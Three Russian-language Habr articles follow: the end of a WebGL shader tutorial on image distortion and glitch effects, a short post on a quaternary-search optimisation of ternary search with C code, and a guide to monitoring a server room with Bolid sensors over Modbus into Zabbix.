Результат странный. Очевидно, что все движется со слишком большой амплитудой. Поделим все на какое-нибудь число:
```
gl_FragColor = texture2D(u_texture, gl_FragCoord.xy / u_canvas_size
+ sin(u_time + gl_FragCoord.y) / 250.0);
```
Уже лучше. Теперь понятно, что получилось небольшое волнение. По идее, чтобы увеличить каждую волну нам нужно поделить аргумент синуса — координату. Сделаем это:
```
gl_FragColor = texture2D(u_texture, gl_FragCoord.xy / u_canvas_size
+ sin(u_time + gl_FragCoord.y / 30.0) / 250.0);
```
Подобные эффекты часто сопровождаются подбиранием коэффициентов. Это делается на глазок. Как и с кулинарией, поначалу будет сложно угадывать, но потом это будет происходить само собой. Главное — хотя бы примерно понимать, на что влияет тот или иной коэффициент в получившейся формуле. После того, как коэффициенты подобраны, имеет смысл выносить их в макросы (как это было в первом примере) и давать осмысленные имена.
**Кривое зеркало, велосипеды и эксперименты**
Думать полезно. Да, есть готовые алгоритмы решения некоторых задач, которые мы можем просто так брать и использовать. Но в процессе придумывания мы познаем идеи, которые так бы прошли мимо нас.
Возможно мы не хотим делать такие равномерные горизонтальные волны, а хотим "кривое зеркало", в котором все будет искажаться случайным образом. Что же делать?
Кажется, что нам будет нужна генерация случайных чисел, не так ли? Раз уж все должно быть случайным. Но вот незадача, у нас здесь нет стандартной функции rand() или чего-то похожего. Все дело в том, что она реализуется так, что следующий результат, следующее число, зависит от предыдущего. Получается последовательность случайных чисел. Но шейдеры выполняются параллельно и мы не можем передавать последовательность от одного к другому без вреда для производительности. Но если подумать, то нам это и не нужно. Нам нужно генерировать случайное число в зависимости от координат. То есть нам нужна урезанная реализация. Это даже скорее хеш-функция, чем генератор случайных чисел. Алгоритмов хеширования придумали уже достаточно много. Нам желательно иметь такой, чтобы принимал на вход координаты, чтобы самим не делать обертку над ним, и выдавал число. Есть готовый вариант этой функции, который уже очень давно кочует по интернету и многими называется "каноническим":
```
float rand(vec2 seed) {
return fract(sin(dot(seed, vec2(12.9898,78.233))) * 43758.5453123);
}
```
Одни умные люди говорят, что распределение случайных чисел у нее далеко не самое лучшее, другие, что реализация функции синуса у NVIDIA и ATI отличаются и результаты будут непредсказуемыми. Все это важно для криптографии, а нам короткий однострочник вполне может и сгодиться.
Если мы просто так добавим случайный компонент, то получится нечто странное, поэтому сразу поделим на коэффициент для уменьшения амплитуды нашего рандома:
```
gl_FragColor = texture2D(u_texture,
gl_FragCoord.xy / u_canvas_size
+ rand(gl_FragCoord.xy) / 100.0);
```
И вернуть сюда функцию от времени тоже будет не лишним:
```
gl_FragColor = texture2D(u_texture,
gl_FragCoord.xy / u_canvas_size
+ rand(gl_FragCoord.xy + vec2(sin(u_time))) / 250.0);
```
Получилось не совсем то, что нам нужно, но тоже занятно:
Очевидно, что в целом мы двигаемся в том направлении. Только сейчас анимируются отдельные пиксели, а нам нужно, чтобы двигались целые куски изображения. Первая мысль — поделить изображение на квадраты и применять трансформации к каждому по отдельности. Как это сделать? Округлением. Похожая фишка используется в блочной сортировке.
Поскольку у нас используются координаты от 0 до 1, нужно умножить их на какой-нибудь коэффициент. В данном случае 5 — это и будет количеством квадратов в одной линии в анимации. Также вынесем в отдельную переменную наши координаты, чтобы они не рассчитывались несколько раз.
```
vec2 texture_coord = gl_FragCoord.xy / u_canvas_size;
gl_FragColor = texture2D(u_texture,
texture_coord
+ rand(floor(texture_coord * 5.0) + vec2(sin(u_time))) / 100.0);
```
Получатся просто квадраты, которые двигаются туда-сюда и рвут все изображение. Нам нужно как-то сгладить все это. Сделать, чтобы сдвиги менялись плавно, без выраженных границ. Как мы можем это сделать?
Мы можем рассчитать значения сдвига для отдельных точек, а все, что между ними, выразить какой-нибудь функцией. Это так и называется интерполяция, сглаживание. В данном случае билинейная, т.к. у нас функции от двух переменных-координат. Пусть этими точками будут вершины квадратов, на которые мы поделили все изображение. Вынесем часть логики в отдельную функцию. То, что у нас получится в итоге из этой функции, называется генератором шума. Вы будете иногда встречать его в различных эффектах.
Добавим также отдельно `sin` и `cos` для разных координат, чтобы немного рассинхронизировать анимацию. Такое часто делают. Будет полезно поиграть и с другими функциями и коэффициентами.
```
gl_FragColor = texture2D(u_texture,
texture_coord
+ vec2(
noise(texture_coord * 10.0 + sin(u_time + texture_coord.x * 5.0)) / 10.0,
noise(texture_coord * 10.0 + cos(u_time + texture_coord.y * 5.0)) / 10.0));
```
Для начала пусть все будет линейным. Используем функцию `fract` как есть. Блоки будут размера 1 на 1 — мы округляем до целых чисел:
```
float noise(vec2 position) {
vec2 block_position = floor(position);
float top_left_value = rand(block_position);
float top_right_value = rand(block_position + vec2(1.0, 0.0));
float bottom_left_value = rand(block_position + vec2(0.0, 1.0));
float bottom_right_value = rand(block_position + vec2(1.0, 1.0));
vec2 computed_value = fract(position);
// ...
}
```
Мы можем попробовать использовать другую функцию для интерполяции. WebGL в частности предоставляет нам функцию `smoothstep`, она даст более плавные движения:
```
vec2 computed_value = smoothstep(0.0, 1.0, fract(position));
```
Возникает вопрос о том, какое значение вернуть из этой функции. Алгоритм интерполяции известен, но давайте в качестве эксперимента попробуем вернуть координату по X у полученного значения:
```
return computed_value.x;
```
Ооо… Ни разу не то, что нужно, но зато как красиво...
> Полезно иногда сделать что-нибудь странное, поменять знаки в известных алгоритмах, вернуть только часть результатов и.т.д. и заодно набраться идей для решения других задач.
Если возвращать значение по y — будет то же самое, но по горизонтали. А что если вернуть длину вектора?
```
return length(computed_value);
```
Тоже очень даже интересная штука.
Но вернемся к известному алгоритму. Для удобства сразу вычитаем 0.5 — пусть будут и отрицательные значения тоже.
```
return mix(top_left_value, top_right_value, computed_value.x)
+ (bottom_left_value - top_left_value) * computed_value.y * (1.0 - computed_value.x)
+ (bottom_right_value - top_right_value) * computed_value.x * computed_value.y
- 0.5;
```
На этот результат точно стоит посмотреть:
*Тут можно сделать еще одну паузу, поиграть с коэффициентами, посмотреть, что будет.*
**Отменяем эффект**
Поскольку мы делаем эффекты не просто в вакууме, а для использования в интерфейсах, было бы неплохо добавить возможность возвращать все к исходной картинке. И применять эффект при наведении мыши или еще каком-нибудь событии.
Проще всего добавить uniform-переменную, которая будет отвечать за силу применения трансформаций. Скажем от 0 до 1, где 0 — ничего не происходит, а 1 — трансформируется все.
```
uniform float u_intensity;
```
Мы можем умножать на нее вектор трансформации:
```
gl_FragColor = texture2D(u_texture,
texture_coord
+ vec2(noise(texture_coord * 10.0 + sin(u_time + texture_coord.x * 5.0)) / 10.0,
noise(texture_coord * 10.0 + cos(u_time + texture_coord.y * 5.0)) / 10.0)
* u_intensity);
```
Для примера будем плавно менять интенсивность при наведении мыши, отключая тем самым эффект с искажениями.
Если совместить этот процесс с изменением прозрачности цвета (также от 0 до 1), то можно делать красивые растворения изображений при переходе к новому слайду в галерее.
> После того, как эффект полностью отменен, имеет смысл прекращать перерисовку каждого кадра до тех пор, пока не будет нужно активировать эффект снова. Если у вас на странице одновременно перерисовываются несколько элементов — старайтесь все их собрать в один цикл с requestAnimationFrame. Чем больше этих циклов будет на странице, тем сильнее будет проседать FPS.
**Увеличительное стекло и мышка**
И раз уж заговорили про мышку, будет не лишним передать в шейдер ее положение. Также через uniform-переменную.
```
document.addEventListener('mousemove', (e) => {
let rect = CANVAS.getBoundingClientRect();
MOUSE_POSITION = [
e.clientX - rect.left,
rect.height - (e.clientY - rect.top)
];
GL.uniform2fv(GL.getUniformLocation(PROGRAM, 'u_mouse_position'), MOUSE_POSITION);
});
```
И попробуем использовать сдвиг, основываясь на направлении и длине вектора из текущего положения в положение мыши. Если расстояние не очень большое — применяем трансформацию, а все остальное пусть остается как есть.
```
void main() {
vec2 texture_coord = gl_FragCoord.xy / u_canvas_size;
vec2 direction = u_mouse_position / u_canvas_size - texture_coord;
float dist = distance(gl_FragCoord.xy, u_mouse_position) / u_canvas_size;
if (dist < 0.4) {
gl_FragColor = texture2D(u_texture,
texture_coord
+ u_intensity * direction * dist * 1.2
);
} else {
gl_FragColor = texture2D(u_texture, texture_coord);
}
}
```
Читателю будет полезно поиграть с коэффициентами и использовать какую-нибудь нелинейную функцию от расстояния. Таким образом можно будет получить вогнутую или выпуклую линзу.
> Узнайте как ведут себя все стандартные математические функции по отдельности и при сложении. Это даст понимание того, какие именно функции дадут тот или иной результат.
**Помехи**
Напоследок посмотрим еще одну популярную штуку. Glitch-эффект можно делать тысячей разных способов, в том числе и на SVG. Но там его сложно сделать производительным. А на шейдерах — напротив. Что из себя представляет данный эффект? В целом здесь нет ничего сложного — горизонтальные полосы, некоторые из них, выбранные случайным образом, сдвигаются на случайную величину по горизонтали.
```
float random_value = rand(vec2(texture_coord.y, u_time));
if (random_value < 0.05) {
gl_FragColor = texture2D(u_texture,
vec2(texture_coord.x + random_value / 5.0,
texture_coord.y));
} else {
gl_FragColor = texture2D(u_texture, texture_coord);
}
```
> "Что из себя представляет данный эффект?" — Это важный вопрос, который начинающие часто забывают себе задать. И это приводит к ступору даже с такими простыми задачами.
Можно также увеличить ширину полос. Действуем по уже знакомому сценарию — умножаем координаты, округляем и производим одни и те же вычисления для множества точек.
```
float random_value = rand(vec2(floor(texture_coord.y * 20.0), u_time));
```
Можем также поиграть с цветом. Например поменять яркость, добавляя случайное значение ко всем каналам цвета:
```
gl_FragColor = texture2D(u_texture,
vec2(texture_coord.x + random_value / 4.0,
texture_coord.y))
+ vec4(vec3(random_value), 1.0);
```
На фоне предыдущих примеров этот уже не должен казаться сложным. Игры с отдельными компонентами цвета оставим в качестве упражнения — здесь можно долго экспериментировать. Удобно, что из вектора отдельные цветовые каналы можно доставать аналогично координатам — есть свойства `.r`, `.g`, `.b`, `.rg`, `.rb`, `.rgb`, `.bgr`, и.т.д. Использование разных обозначений для цветов и для координат помогает не смешивать все в одну кучу.
Возвращаем параметр интенсивности и смотрим на результат:
```
float random_value = u_intensity * rand(vec2(floor(texture_coord.y * 20.0), u_time));
```
Что в итоге?
------------
На примере нескольких простых эффектов с фотографиями мы выяснили, что их вполне можно делать без сторонних библиотек и что шейдеры могут быть короткими и вполне доступными для понимания, если их намеренно не усложнять. Многие популярные эффекты базируются на смещении пикселей по определенным формулам, и все, что нужно для их написания — это немного пространственного воображения и базовые знания по математике. | https://habr.com/ru/post/420847/ | null | ru | null |
# Квадрарный поиск
**Тернарный (или троичный) поиск** — это алгоритм поиска минимума (или максимума) **выпуклой** функции на отрезке. Можно искать минимум (максимум) функции от вещественного аргумента, можно минимум (максимум) на массиве. Будем, для определённости, искать минимум функции f(x).
Он многим знаком, а для тех, кто не знает, расскажу вкратце.
Тернарный поиск заключается в следующем. Пусть есть рекурсивная функция search(L, R), которая по двум концам отрезка L, R определяет минимум на орезке [L, R]. Если R — L < eps, то мы уже вычислили точку, где достигается минимум, с точностью eps. Иначе, разделим отрезок [L,R] на три равных по длине отрезка [L, A], [A, B] и [B, R]. Сравним значение в точках А и В. Вспомнив, что функция f выпуклая, можно сделать вывод, что если f(A) > f(B), то минимум лежит на отрезке [A,R]. Иначе — на отрезке [L, B]. В соответсвии с этим, можно рекурсивно запуститься от одного из отрезков [L, B] или [A, R]. Каждый раз длина области поиска уменьшается в полтора раза, значит, минимум на отрезке длины X с точностью eps будет найден за время O(log(X/eps)).
А здесь я хочу рассказать о **квадрарном (или четверичном) поиске**.
По сути, это некоторая оптимизация тернарного поиска. Как и в нём, мы будет рекурсивно вычислять минимум функции на промежутке L, R. Только теперь мы будем вычислять значение функции не в двух, а в трёх точках: в A=(3L+R)/4, B=(L+R)/2 и C=(L+3R)/4. Посмотрим, какое из этих значений в этих трёх точках самое маленькое. Если левое — то запускаемся рекурсивно на отрезке [L,B], если правое — на отрезке [B,R], а если среднее — то на отрезке [A,C]. Длина отрезка всегда уменьшается в два раза. При этом, надо заметить, что если f(A) <= f(B), то это уже означает, что левое значение — самое маленькое, если f(С) <= f(B) — то правое; в остальных случаях — среднее. Поэтому не надо делать кучу проверок: делаем одну, а если она не сработала, то ещё одну.
Теперь заметим одну вещь. Когда мы запустимся от одного из трёх отрезков, нам понадобится знать три значения на этом отрезке. Но одно из них — среднее — мы уже вычисляли на предыдущем шаге: если мы запустились от левого отрезка, то это f(A), если от правого то f(С), а если от среднего — f(B). Поэтому его не надо вычислять ещё раз: его можно просто передать. Значит, на каждом шаге мы вычисляем уже не 3, а 2 значения.
А теперь заметим ещё одну вещь. Ведь для того, чтобы знать, что надо перейти в левый отрезок, нам надо узнать только значения в точках A и B. Поэтому значение в точке C можно пока не вычислять: оно может и не пригодится.
Таким образом, количество требуемых итераций в log1.52 раз меньше, а количество вычисляемых значений за итерацию в среднем меньше (сложно оценить, во сколько раз, возможно, примерно в полтора), но уж точно не больше, чем в тернарном поиске. Что выглядит заманчиво, особенно когда вычисление значения происходит долго.
И для полноты картины, код, всего из десяти строк:
````
double quadSearch(double L, double R, double midVal) {
if (R - L < eps) return (R + L)/2;
double leftVal = f((3*L + R)/4);
if (leftVal < midVal) return quadSearch(L, (L + R)/2, leftVal);
else {
double rightVal = f((L + 3*R)/4);
if (rightVal < midVal) return quadSearch((L + R)/2, R, rightVal);
else return quadSearch((3*L + R)/4, (L + 3*R)/4, midVal);
}
}
````
P.S. Перенесено в «Алгоритмы» из личного блога. | https://habr.com/ru/post/92591/ | null | ru | null |
# Мониторинг окружающей среды в серверном помещении (Bolid + Zabbix)
Наверное самым простым способом для ИТ-специалиста при решении задачи мониторинга окружающей среды в серверном помещении будет использование специализированных контроллеров с выдачей данных по SNMP (например, NetBotz или NetPing). Но для тех кто не боится трудностей и хочет получить недорогое решение промышленного уровня (с серийным выпуском оборудования) — есть интересный вариант с протоколом Modbus.
Ниже я опишу систему мониторинга на базе компонентов российского производства — НВП «Болид», а «сливать» данные будем в Zabbix 4.0. НВП «Болид» широко известен в кругах средств охранно-пожарной автоматики и рассматриваемое решение будет нести этот «отпечаток». Их устройства мягко говоря не отличаются дизайном и продуманностью корпусов, но… цена с лихвой компенсирует все эти недостатки. Стоит отметить весьма неплохую документацию и более-менее нормальную бесплатную техническую поддержку.
Протоколы и интерфейсы
----------------------
Прежде чем перейти к «железу» очень кратко рассмотрим применяемые протоколы и интерфейсы:
**Modbus**: промышленный протокол, построенный по принципу «Ведущий» (Master) — «Ведомый»(Slave). В сети Modbus может быть только один ведущий, который опрашивает ведомых и «говорит», что им делать. В качестве среды передачи данных может использовать интерфейс RS-485 (Modbus RTU) или Ethernet (Modbus TCP). Теоретически максимальное кол-во устройств — 247.
**Орион**: проприетарный протокол компании НВП «Болид», построенный по принципу «Ведущий» (Master) — «Ведомый» (Slave). В качестве среды передачи данных использует по всей видимости модифицированный интерфейс RS-485, благодаря чему максимальная длина линии может достигать 3 км (!). Максимальное кол-во устройств — 127.
**ДПЛС** (двухпроводная линия связи): проприетарный протокол компании НВП «Болид», построенный по принципу «Ведущий» (Master) — «Ведомый» (Slave). В качестве среды передачи данных использует медный парный кабель (рекомендуется — «витая пара»). Максимальное кол-во устройств — 127+1. Топология — шина (или кольцо) с ответвлениями, максимальная длина линии может достигать 1,5 км (зависит от типа кабеля, сечения жил кабелей и кол-ва подключенных устройств).
**RS-485**: интерфейс физического уровня, использует для передачи данных «витую пару» (одна «2-wire» или две пары «4-wire», второе встречается реже). Заявленная максимальная длина линии — 1,2 км. Топология — шина.
Как можно видеть, используются достаточно «дальнобойные» линии связи. Во всех протоколах адресация устройств задается «ручками» (предварительное конфигурирование).
Датчики
-------
Система предполагает подключение «специальных» (проприетарных) адресных датчиков (если говорить более строго «извещателей», т.е. устройств со встроенным датчиком), но можно подключить и «обычные» неадресные с использованием адресных расширителей (от 1 до 8 входов). Применение адресных извещателей дает два преимущества: практически все адресные устройства получают питание по сигнальной линии (т.е. не требуется подводить отдельную линию питания 12В) и не требуется где либо размещать адресный расширитель. Датчики подключаются в ДПЛС.
Ассортимент «оконечного» оборудования достаточно широк, но приведу то, которое может потребоваться при решении нашей задачи:
* С2000-ВТ — комбинированный датчик температуры и влажности для использования внутри помещений (IP41). Имеет сертификат средства измерения, погрешность всего 0,5°С и рекомендованную розничную цену всего 1200 руб.!
* С2000-СМК (и его вариации) — датчик «открытия двери» (магнито-контактный извещатель, геркон). Рекомендованная розничная цена — 300 руб.;
* С2000-ДЗ — точечный датчик затопления (делается совместно с Риэлта, поэтому корпус «неформат»). Рекомендованная розничная цена — 800 руб.;
* С2000-АР1, С2000-АР2, С2000-АР8 — адресные расширители на 1, 2 и 8 подключений, могут использоваться как «приемники» сигналов типа «сухой контакт» (вкл./откл.) с другого оборудования (например, с прибора пожаротушения или помпы кондиционера);
* С2000-СП2 — релейный блок (на 2 выхода), с помощью которого можно управлять устройствами (например, лампой сигнализации — световым индикатором). Рекомендованная розничная цена — 1200 руб.
**Внешний вид датчиков**
Полный перечень оборудования см. на [официальном сайте производителя](https://bolid.ru/production/orion/ops-subsystems/spi2000a/).
Контроллер
----------
«Линейка» контроллеров, если так можно выразиться состоит из трех моделей:
* С2000-КДЛ — базовая модель (обозначение расшифровывается как «Система 2000 — Контроллер Двухпроводной Линии связи»);
* С2000-КДЛ-2И — добавлены гальванические развязки для RS-485 и ДПЛС;
* С2000-КДЛ-Modbus — в конструкцию С2000-КДЛ-2И добавлен преобразователь протокола Modbus С2000-ПП.
**Внешний вид контроллеров**
Оптимальнее использовать С2000-КДЛ-Modbus, но можно и С2000-КДЛ/C2000-КДЛ-2И с установленным рядом преобразователем протокола С2000-ПП, у которого исполнение корпуса «монтаж на панель».
Контроллер выполняет роль «Ведущего» в линии ДПЛС (к одному контроллеру можно подключить только одну линию ДПЛС), причем в линии RS-485 Орион он уже выступает в роли «Ведомого» и забрать данные с него «напрямую» не получится. Для сбора данных в линии RS-485 Орион используется, так называемый, пульт С2000М или С2000-ПП (в том числе во строенном исполнении), которые имеют уже стандартизованные интерфейсы передачи данных.
У приведенных контроллеров также можно выделить следующие характеристики:
* относятся к конфигурируемому типу, а не программируемому (т.е. нужно только настроить параметры, а не разрабатывать программу);
* поддержка в ДПЛС до 127 адресных устройств (С2000-ВТ имеет два адреса), причем многие пуско-наладчики не рекомендуют использовать больше 100-110;
* двойной ввод по питанию DC 12-24В;
* не слишком удобная конструкцию корпуса (все подключаемые провода невозможно спрятать в корпусе прибора и приходится их убирать сзади прибора).
Для отказоустойчивости системы можно использовать следующие меры (которые не являются обязательными):
* кольцевой шлейф — обрыв шлейфа в одном месте не влияет на наличие сигналов от адресных датчиков;
* использование ответвительно-изолирующих блоков (БРИЗ) — позволяет делать радиальные ответвления, а также изолировать сегмент шлейфа, в котором произошло замыкание «ДПЛС+» и «ДПЛС-».
ВАЖНО: на контроллеры постоянно выходят новые прошивки, которые устраняют ошибки и добавляют функционал, причем прошивки С2000-КДЛ и С2000-КДЛ-2И несовместимы.
Подключение Modbus
------------------
Как описывалось ранее, можно использовать или контроллер С2000-Modbus либо преобразователь С2000-ПП. Обе схемы предусматриваются выдачу сигналов по протоколу Modbus RTU 2-wire с помощью RS-485 в качестве ведомого устройства (ведущий у нас — Zabbix или какая-нибудь SCADA-система). Для подключения к серверу можно использовать два метода:
* предпочтительный — преобразователь Modbus RTU/Modbus TCP с подключением к той же локальной сети, где находится наш сервер с ПО;
* дешевый — преобразователь RS-485/USB с подключением непосредственно к серверу. Отмечу, что есть много нареканий на надежность данных USB-стиков (можно брать практически любые, я заказывал из Китая за 100 рублей, использовал связку конвертер RS-232/RS-485 и переходник USB/RS-232 и все продолжало работать!).
Возможны две схемы передачи событий в протокол Modbus:
* напрямую с С2000-ПП/C2000-КДЛ-Modbus, когда указанные устройства работают в режиме «Орион-Master» (выбирается перемычкой на плате) и выполняют роль опросчика системы «Орион»;
* с использованием пульта «С2000М», когда он собирает информацию с контроллеров и только потом отдает ее в Modbus через С2000-ПП/C2000-КДЛ-Modbus (режим «Орион-Slave»). Данная схема хороша тем, что пульт можно использовать как «локальный терминал» (посмотреть события на встроенном ЖК-экране), а также продолжать фиксировать события в случае поломки сервера с ПО мониторинга. Минус: чуть сложнее настройка и пульт имеет весьма специфичный внешний вид.
**Примеры схем системы**
Питание и монтаж
----------------
Для питания необходим источник питания 12В DC, желательно стабилизированный и с монтажом на DIN-рейку. Его мощность (обычно указывается либо в мА или А) можно грубо подбирать из расчета 1 контроллер — 500 мА. Резервированный источник питания (со встроенным аккумулятором, РИП) я бы порекомендовал использовать только в случае применения пульта С2000М. И обязательно подключить источник питания к тому же источнику бесперебойного питания (ИБП), что и сервер системы мониторинга.
Можно конечно смонтировать все это на стену, но оставим это для монтажников охранно-пожарных сигнализаций, а сами воспользуемся 3U DIN-рейкой для монтажа в 19"-шкаф (например, ЦМО PS-3U или Cabeus с тем же артикулом, переднюю панель придется выкинуть). В случае использования пульта С2000-М можно применить 19" заглушку на 4U (желательно перфорированную), которая будет выполнять роль монтажной панели и к которой уже закрепить DIN-рейку для клемм и контроллера. Минус решения — оборудование выступает за монтажную 19" плоскость.
Собрать и смонтировать систему из комплектующих не должно вызвать вопросов, но обращаю внимание на следующее:
* большинство датчиков имеет небольшой кусочек торчащего кабеля. Нарастить кабель, можно применяя либо пайку с термоусадкой, либо двухпарную распачную коробку КС-2 (компактная, но качество изготовления «хромает»), либо соединение RJ11 (RJ45);
* перед монтажом в датчики нужно прописать их адреса (как это делается рассмотрено далее) и отмаркировать;
* при подключении датчиков нужно соблюдать полярность «ДПЛС+» и «ДПЛС-» (см. документацию — какой цвет имеет ДПЛС+, как правило цветной) — если перепутаете, то датчик не определится в системе.
Для тех кто не хочет паять, но любит обжимать «фишки» можно воспользоваться ниже описанным вариантом (наверное, все-таки лучше RJ11 — чтобы случайно не скоммутировать ДПЛС-линию в сервер).
Потребуются:
* кабель витая пара 2-х парный, неэкранированнный;
* «мешок» разъемов RJ11 (6P4C или 6P6C);
* разветвители RJ11 со входами типа гнездо (бывают самые разнообразные варианты по очень симпатичным ценам).
На одну пару заводим ДПЛС, на другую, например, 12В DC. Подключение датчиков через разветвители.
**Пояснительная картинка**
Сборка стенда
-------------
Для «практической» части был собран стенд в составе:
* преобразователь протокола С2000-ПП производства НВП «Болид»;
* контроллер С2000-КДЛ производства НВП «Болид»;
* термогигрометр (комбинированный датчик температуры и влажности) С2000-ВТ производства НВП «Болид»;
* извещатель магнитоконтактный С2000-СМК производства НВП «Болид»;
* датчик протечки точечный С2000-ДЗ производства «Риэлта»;
* адресный расширитель С2000-АР1 исп. 02 производства НВП «Болид»;
* извещатель объемный Фотон-10М производства «Риэлта» (такой «завалялся»);
* блок питания 12В AT-12/1.5 DIN производства «AccordTec»;
* переходник RS-485/USB купленный на [aliexpress](https://ru.aliexpress.com/item/Free-Shipping-USB-to-RS485-485-Converter-Adapter-Support-Win7-XP-Vista-Linux-Mac-OS-WinCE5/32291040939.html?spm=a2g0s.9042311.0.0.274233edvOPZiE) (на распространенном чипе CH340G, linux определяет его как «QinHeng Electronics HL-340 USB-serial adapter»). Стало интересно, как будет отрабатывать система в самой дешевой конфигурации;
* тонкий клиент TONK 1811 от ГК «ТОНК» (был куплен на avito за 500 рублей) на процессоре Intel Atom N270 со встроенной графикой GMA950.
**Доработка тонкого клиента и внешний вид стенда**Тонкий клиент был немного «допилен»:
* DOM-модуль на 2Гб с установленным Windows XP embedded заменен на 2,5 HDD ATA 60Гб от старенького ноутбука (пришлось докупить шлейф, SATA-HDD почему-то не подхватился — порт SATA в BIOS включал);
* увеличен размер оперативной памяти DDR2 SO-DIMM с 1Гб до 2Гб;
* установлен Linux Mint 19.1 “Tessa” Xfce Edition и настроен удаленный рабочий стол с помощью TightVNC;
* «доработана» система охлаждения — уменьшил радиатор, чтобы поместился HDD практически «заподлицо» с корпусом, убрал верхнюю крышку и сверху «присобачил» какой-то вентилятор 120 мм, подключенный через резистор. Тут же пропали все «тормоза», стало вполне вменяемо работать.
Настройка оборудования Болид
----------------------------
Вся настройка производится в среде Windows, соответственно перед началом работ нужно установить драйвер на переходник RS-485/USB, а также две «супер»-программы от НВП «Болид», которые поставляются бесплатно: **Orion-prog** и **Uprog**. Далее приборы по отдельности подключается к переходнику RS-485/USB к портам A-B RS-485 «Орион» (используется прямая раскладка, а не как на COM-портах).
ВАЖНО: при всех последующих шагах у С2000-ПП перемычка XP1 на плате должна быть снята.
Шаг 1. Воткнуть в USB- разъем переходник RS-485/USB и посмотреть в диспетчере устройств, какой номер COM-порта назначен переходнику. Драйвера у переходника должны быть установилены без восклицательных знаков в «Диспетчере устройств».
Шаг 2. От имени администратора запустить Orion-prog, выбрать нужный COM-порт и выполнить поиск и посмотреть версию прошивки прибора. Зайти на официальный сайт производителя и проверить наличие более свежей прошивки и при необходимости (скорее всего потребуется) — выполнить обновление (на момент написания статьи: для С2000-ПП — 1.32, С2000-КДЛ — 2.22).
**Прошивка прибора в картинках**
\*Прошивка 1.32 по факту у меня ставилась «криво» — в Uprog конфигурация из прибора не считывалась. Поэтому «откатился» обратно на 1.31.
Шаг 3. Установка адреса у приборов (сначала у С2000-ПП, например, 2 и потом у С2000-КДЛ — 3). Для этого запускаем Uprog — у всех приборов по умолчанию адрес 127, поэтому настраивать приборы в начале необходимо по-одному. Более подробное видео от производителя см. [YouTube](https://youtu.be/qN9H75Qh8XA).
Шаг 4. После установки адреса на С2000-КДЛ необходимо задать адреса датчиков в двухпроводной линии связи (ДПЛС). Они также по умолчанию имеют адрес 127 (причем кружочек с датчиком в Uprog не подсвечивается). Считываем конфигурацию прибора (Ctrl+F3) и последовательно подключаем датчики выходам ДПЛС, задавая адреса. При наведении на датчик в контекстном меню «Запрос типа АУ» можно уточнить тип датчика или «Запрос АЦП АУ» — узнать работает ли датчик (например, для магнито-контактного извещателя АЦП при замыкании: 100, а при размыкании: 50). По факту у меня следующая адресная конфигурация: 1 — геркон С2000-СМК, 2 — температура С2000-ВТ, 3 — влажность С2000-ВТ, 4 — протечка С2000-ДЗ, 5 — адресный расширитель С2000-АР1 исп. 02 (с подключенным к нему объемным извещателем Фотон-10М).
**Задание адресов датчикам в картинках**
Далее переходим на вкладку «Входы» и делаем следующее:
* указываем типы датчиков: для температурного — 10, для измерения влажности — 15, для все остальных — 6 (технологический);
* для технологических входов задаем «Время восстановления, с» — это время, через которое шлейф возвратится в состояние «Норма» после получения состояния «Нарушение». Нужно указать цифру не менее интервала опроса в Zabbix (я принял 10 секунд);
* отключим «Управление индикацией АУ» (0), «Контроль на обрыв и КЗ» и «Контроль состояния резервной батареи», чтобы упростить настройку.
**Настройка входов в С2000-КДЛ в картинках**
После всех «манипуляций» с С2000-КДЛ выполняем «Запись конфигурации в прибор».
Шаг 5. Настраиваем С2000-ПП.
По вкладке «Прибор» настройки приведены на картинке (это самые «ходовые» и у большинства устройств они идут по-умолчанию). Аналогичные настройки должны быть у COM-порта переходника RS-485/USB и любого другого устройства, подключенного в сеть Modbus. Я для прибора С2000-ПП в сети Modbus выбрал адрес 11 (адрес в системе «Орион» — 2!).
Потом переходим во вкладку «Устройства» и начинаем заполнять «Таблицу зон»:
* первый столбец я указал «3» — это адрес прибора С2000-КДЛ в системе «Орион»;
* номер ШС («шлейф сигнализации») — это адреса датчиков (фактически ШС=адрес, можем пропустить несколько адресов, если не хотим забирать с них информацию);
* № раздела Modbus — можно сгруппировать наши датчики в группы. В целях упрощения — я этого не стал делать и всем приписал 1 раздел;
* тип зоны — очень важный параметр. Выбираем его, согласно типу датчика.
После настройки С2000-ПП выполняем «Запись конфигурации в прибор».
Шаг 6. Объединяем С2000-ПП и С2000-КДЛ в сеть по RS-485 Орион, присоединяем датчики к С2000-КДЛ (можно «кучкой» под две клеммы), а переходник RS-485/USB подключаем к выходу Modbus C2000-ПП. Перемычку XP1 устанавливаем в замкнутое положение (важно: после установки перемычки нужно перезагрузить прибор сбросом питающего напряжения). Все — система «готова к бою».
Проверяем «работоспособность» в бесплатной консольной программе [Modpoll Modbus Master Simulator](https://www.modbusdriver.com/modpoll.html) (далее — «Modpoll»), например, по адресу прошивки «С2000-ПП» или по отдаче информации с С2000-КДЛ по адресу «40000» — это первый датчик:
Прошивки приборов «для ознакомления» можно скачать [здесь](http://razdel5-5.ru/wp-content/uploads/2019/02/Config-Bolid.zip).
Настройка Zabbix
----------------
Предупреждение: Zabbix настраивал в первый раз, как и Linux Mint (так как Zabbix под Windows нет) :)
После установки Zabbix, необходимо установить пакеты *autoconf*, *automake*, *libtool*, *pkg-config* и затем модуль расширения — *libzbxmodbus*. Про него на [Хабре](https://habr.com/ru/company/zabbix/blog/268119/) есть отдельная статья (я на нее буду постоянно ссылаться) и он недавно обновился, как раз для работы с Zabbix 4.0. В статье также есть более развернутая информация по протоколу Modbus. Сам модуль и более-менее подробная инструкция лежат на [GitHub](https://github.com/v-zhuravlev/libzbxmodbus)-е.
Небольшие отличия в установке от указанного на GitHub:
```
...
./configure --prefix=/etc/zabbix --enable-zabbix-3.2
...
sudo make install
```
При изучении работы модуля *libzbxmodbus* стало понятно, что применить схему с пультом С2000М не получится, потому что в этом случае получение данных с термогигрометров выглядит так: запись в регистр 46179 номера нужной зоны и потом забор данных с регистра 46328 — т.е. весьма нетривиально (в «больших» SCADA-системах, такое реализовать возможно, например, в MasterSCADA).
Прописываем в конфигурационном файле *etc/zabbix/zabbix\_server.conf* ссылки на расширение и подключаем «железо» к «серверу» с Zabbix. Для переходника RS-485/USB устанавливать драйвера не пришлось, а вот как понять какой номер USB будет задействован я так и не понял, хорошо что сработало подключение к */dev/ttyUSB0* (посмотреть, что устройство обнаружено в системе можно командой *lsusb*).
Как и с Windows, проверяем с помощью утилиты Modpoll (я запускал linux i386), что «железки» подключены и информация с них доступна:
Так как в статье описывается процесс настройки на примере Zabbix 2.2 — там интерфейс немного другой, то приведу пояснения и картинки настроек.
